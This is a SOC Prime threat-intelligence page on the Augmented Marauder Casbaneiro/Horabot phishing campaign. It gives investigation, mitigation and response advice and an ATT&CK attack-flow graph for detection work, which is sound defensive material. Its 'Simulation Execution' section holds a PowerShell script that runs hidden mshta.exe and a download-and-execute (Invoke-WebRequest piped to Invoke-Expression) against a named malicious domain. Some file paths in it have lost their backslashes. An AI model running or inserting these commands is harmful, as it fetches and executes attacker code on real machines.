SOC Prime Bias: High

07 Apr 2026 18:09
newspaper icon BlueVoyant

Unpacking Augmented Marauder’s Multi-Pronged Casbaneiro Campaigns

Author Photo
SOC Prime Team linkedin icon Follow
Unpacking Augmented Marauder’s Multi-Pronged Casbaneiro Campaigns
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Investigation

Researchers reconstructed the end-to-end chain from the initial attachment through execution of the final payload. They analyzed an HTA stage that triggers mshta.exe, followed by a two-step JavaScript/VBScript loader and AutoIT components used to decrypt AES-encrypted containers with a hard-coded seed value. Static analysis confirmed the presence of Horbot and Casbaneiro binaries, alongside anti-analysis logic that checks for sandbox usernames and VM-related artifacts. Network observations showed C2 infrastructure fronted by Cloudflare-protected domains and a PHP API used to generate dynamic, per-victim PDFs during the delivery phase.

Mitigation

Block or tightly control mshta.exe execution for untrusted content and strengthen attachment inspection for ZIP/HTA/script-based chains. Monitor for abnormal PowerShell behavior that interacts with Outlook COM objects, which can indicate mailbox-driven propagation. At the network layer, block or alert on the identified malicious domains and IP address, and apply URL filtering to constrain access to PDF-generation services used for staging. Use application allow-listing to prevent AutoIT interpreters from running without explicit approval.

Response

When activity is detected, isolate the endpoint, stop suspicious mshta.exe and PowerShell processes, and remove newly created artifacts—especially files dropped into Public directories. Collect the HTA, VBS, and AutoIT stages for forensic review, then hunt for staticdata.dll and at.dll across affected hosts. Reset credentials for compromised email accounts, disable malicious Outlook COM automation or rules, and update detection content with extracted IOCs while monitoring for lateral spread and follow-on phishing from hijacked inboxes.

Keywords: Augmented Marauder, Water Saci, Casbaneiro, Horbot, Latin America, Spanish phishing, WhatsApp lure, ClickFix, HTA, mshta.exe, VBScript, JavaScript loader, AutoIT, PowerShell, Outlook COM, AES decryption, UUID ZIP, password-protected PDF, Cloudflare C2, PHP API, banking trojan, email account takeover.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffdd99 classDef malware fill:#ff9999 classDef persistence fill:#ccffcc classDef c2 fill:#ffcc99 classDef operator fill:#ff9900 %% Node definitions action_phish_attach["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Malicious email with passwordu2011protected PDF masquerading as a judicial summons"] class action_phish_attach action action_phish_link["<b>Action</b> – <b>T1566.002 Phishing: Spearphishing Link</b><br/>Link in PDF triggers automatic download of a ZIP file with random UUID name"] class action_phish_link action file_zip["<b>File</b> – ZIP archive<br/>Contains HTA file"] class file_zip file file_hta["<b>File</b> – HTA file<br/>Executed via mshta.exe"] class file_hta file process_mshta["<b>Process</b> – mshta.exe<br/>Loads JavaScript that fetches secondu2011stage VBScript"] class process_mshta process script_vb["<b>Action</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/>Sandbox checks and payload download"] class script_vb malware action_sandbox_evasion["<b>Action</b> – <b>T1497.002 Virtualization/Sandbox Evasion</b><br/>User activity based checks for sandbox usernames and VM artifacts"] class action_sandbox_evasion action action_deobfuscation["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime deobfuscation of strings and code"] class action_deobfuscation action script_powershell["<b>Action</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/>Downloads AutoIT interpreter and harvests Outlook contacts"] class script_powershell malware tool_outlook["<b>Tool</b> – Outlook COM objects<br/>Scrape address book for email propagation"] class tool_outlook tool tool_autoit["<b>Tool</b> – AutoIT<br/>Compiled scripts produce encrypted payloads"] class tool_autoit tool action_compile["<b>Action</b> – <b>T1027.004 Obfuscated Files or Information: Compile After Delivery</b><br/>Payloads compiled on host before execution"] class action_compile action malware_dll["<b>Malware</b> – Encrypted DLLs (staticdata.dll, at.dll)"] class malware_dll malware process_reflect_load["<b>Process</b> – Reflective DLL loading<br/>Loads DLLs directly into memory without writing to disk"] class process_reflect_load process action_injection["<b>Action</b> – <b>T1055.001 Process Injection: DLL Injection</b><br/>Reflectively loaded DLLs injected into processes"] class action_injection action persistence_shortcut["<b>Persistence</b> – <b>T1547.009 Shortcut Modification</b><br/>LNK placed in Startup folder"] class persistence_shortcut persistence c2_communication["<b>C2</b> – <b>T1102 Web Service</b><br/>HTTP GET/POST via Cloudflareu2011protected domains"] class c2_communication c2 tool_turo["<b>Tool</b> – Turo.exe (AutoIT compiled)"] class tool_turo tool tool_tekojac["<b>Tool</b> – Tekojac.exe (Auto2Exe)"] class tool_tekojac tool action_masquerade["<b>Action</b> – <b>T1036.008 Masquerading</b><br/>PDF and ZIP files appear legitimate"] class action_masquerade action %% Connections action_phish_attach –>|delivers| file_zip file_zip –>|contains| file_hta file_hta –>|executed by| process_mshta process_mshta –>|loads| script_vb script_vb –>|performs| action_sandbox_evasion action_sandbox_evasion –>|leads to| action_deobfuscation action_deobfuscation –>|reveals| script_powershell script_powershell –>|uses| tool_outlook script_powershell –>|downloads| tool_autoit tool_autoit –>|produces| action_compile action_compile –>|generates| malware_dll malware_dll –>|loaded by| process_reflect_load process_reflect_load –>|enables| action_injection action_injection –>|injects into| process_mshta action_injection –>|enables| persistence_shortcut persistence_shortcut –>|maintains| c2_communication script_powershell –>|downloads| tool_turo script_powershell –>|downloads| tool_tekojac action_masquerade –>|covers| action_phish_attach action_masquerade –>|covers| action_phish_link %% Styling class action_phish_attach action class action_phish_link action class file_zip file class file_hta file class process_mshta process class script_vb malware class action_sandbox_evasion action class action_deobfuscation action class script_powershell malware class tool_outlook tool class tool_autoit tool class action_compile action class malware_dll malware class process_reflect_load process class action_injection action class persistence_shortcut persistence class c2_communication c2 class tool_turo tool class tool_tekojac tool class action_masquerade action "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    The threat actor aims to establish a foothold on a victim workstation by leveraging Mshta to download and execute a malicious HTA payload hosted at https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK. Immediately after, the actor uses PowerShell to download a second-stage script from the same domain via Invoke‑WebRequest and executes it in memory. Both binaries are launched from an elevated command prompt to increase the likelihood of audit logging.

  • Regression Test Script:

    # Horabot simulation – triggers both mshta and PowerShell in the same session
# 1. Launch Mshta with malicious URL
$htaUrl = "https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK"
Start-Process -FilePath "$env:SystemRootsystem32mshta.exe" -ArgumentList $htaUrl -WindowStyle Hidden

# 2. Launch PowerShell to download and execute a remote script
$psUrl = "https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK/payload.ps1"
Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" `
    -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"Invoke-WebRequest -Uri '$psUrl' -UseBasicParsing | Invoke-Expression`"" `
    -WindowStyle Hidden

  • Cleanup Commands:

    # Terminate any lingering malicious processes (if they survived)
Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Stop-Process -Force

# Remove any files that might have been dropped (example locations)
$paths = @(
    "$env:TEMPpayload.ps1",
    "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupmalicious.hta"
)
foreach ($p in $paths) {
    if (Test-Path $p) { Remove-Item -Path $p -Force }
}

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free